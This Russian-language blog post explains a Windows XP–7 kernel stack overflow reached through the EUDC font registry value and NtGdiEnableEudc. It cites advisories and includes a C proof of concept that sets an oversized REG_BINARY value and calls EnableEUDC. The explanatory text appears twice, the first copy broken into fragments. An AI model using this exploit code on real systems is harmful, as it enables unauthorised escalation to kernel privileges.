Интересная уязвимость для повышения локальных привилегий до уровня системы, появилась 24 ноября в виде статьи на ресурсе The Code Project (http://www.codeproject.com/KB/vista-security/uac.aspx). Буквально через несколько часов она была удалена с этого ресурса, но информация уже распространилась по сети и на мой взгляд удалять ее было бессмысленно. Повысить привилегии можно на системах начиная от XP и до Vista/Win7, причем серверные версии тоже находятся под ударом. А что еще более интересно уязвимость актуальна, как на х86 системах, так и на х64. Правда представленный PoC код удалось успешно запустить только на х86 системах.
Всему виной недостаточный контроль параметров функции WinAPI
Эта функция используется для получения сразу нескольких параметров реестра и на выходе заполняет структуру
В поле
По заполнению этого буфера определяется тип ключа реестра, к которому был сделан запрос. Все бы хорошо, но был найден ключ реестра
С учетом всех этих нюансов был разработан PoC (by noobpwnftw), который формирует в реестре значение перезаписывающее адрес возврата на стеке и выполняет произвольный буфер с кодом в режиме ядра.
Подробное описание уязвимости лежит здесь
http://www.kb.cert.org/vuls/id/529673
http://secunia.com/advisories/42356
Альтернативный PoC от d_olex (оригинал):
Всему виной недостаточный контроль параметров функции WinAPI
RtlQueryRegistryValues()
:NTSTATUS RtlQueryRegistryValues(
__in ULONG RelativeTo,
__in PCWSTR Path,
__inout PRTL_QUERY_REGISTRY_TABLE QueryTable,
__in_opt PVOID Context,
__in_opt PVOID Environment
);
Эта функция используется для получения сразу нескольких параметров реестра и на выходе заполняет структуру
_RTL_QUERY_REGISTRY_TABLE
с результатами. typedef struct _RTL_QUERY_REGISTRY_TABLE {
PRTL_QUERY_REGISTRY_ROUTINE QueryRoutine;
ULONG Flags;
PWSTR Name;
PVOID EntryContext;
ULONG DefaultType;
PVOID DefaultData;
ULONG DefaultLength;
} RTL_QUERY_REGISTRY_TABLE, *PRTL_QUERY_REGISTRY_TABLE;
В поле
EntryContext
, из этой структуры, определяется тип выходного буфера и вот тут существует интересный нюанс, буфер может быть интерпретирован как структура UNICODE_STRING
или как буфер из ULONG
значений. typedef struct _UNICODE_STRING {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
По заполнению этого буфера определяется тип ключа реестра, к которому был сделан запрос. Все бы хорошо, но был найден ключ реестра
HKCU\EUDC\[Language]\SystemDefaultEUDCFon
t, к которому можно обращаться только с правами пользователя и изменять его тип на REG_BINARY
посредством вызова функции Win32k.sys->NtGdiEnableEudc()
. В процессе работы этой функции предполагается, что значение реестра REG_SZ
и буфер размещается в стеке, как структура UNICODE_STRING
из которой первое значение ULONG
интерпретирует длину буфера, но если значение реестра представлено, как REG_BINARY
, то возникает классическое переполнение в стеке.С учетом всех этих нюансов был разработан PoC (by noobpwnftw), который формирует в реестре значение перезаписывающее адрес возврата на стеке и выполняет произвольный буфер с кодом в режиме ядра.
Подробное описание уязвимости лежит здесь
http://www.kb.cert.org/vuls/id/529673
http://secunia.com/advisories/42356
Альтернативный PoC от d_olex (оригинал):
#define EUDC_FONT_VAL "SystemDefaultEUDCFont"
int _tmain(int argc, _TCHAR* argv[])
{
HKEY hKey;
char szKeyName[MAX_PATH], Buff[0x600];
sprintf_s(szKeyName, MAX_PATH, "EUDC\\%d", GetACP());
// создание ключа реестра
LONG Code = RegCreateKey(HKEY_CURRENT_USER, szKeyName, &hKey);
if (Code != ERROR_SUCCESS)
{
printf("ERROR: RegCreateKey() fails with status %d\n", Code);
return -1;
}
// удаление старого параметра
RegDeleteValue(hKey, EUDC_FONT_VAL);
// создание нового параметра "SystemDefaultEUDCFont" типа REG_BINARY
FillMemory(Buff, sizeof(Buff), 'A');
Code = RegSetValueEx(hKey, EUDC_FONT_VAL, 0, REG_BINARY, Buff, 0x600);
RegCloseKey(hKey);
if (Code != ERROR_SUCCESS)
{
printf("ERROR: RegSetValueEx() fails with status %d\n", Code);
return -1;
}
// вызов уязвимой функции
EnableEUDC(TRUE);
return 0;
}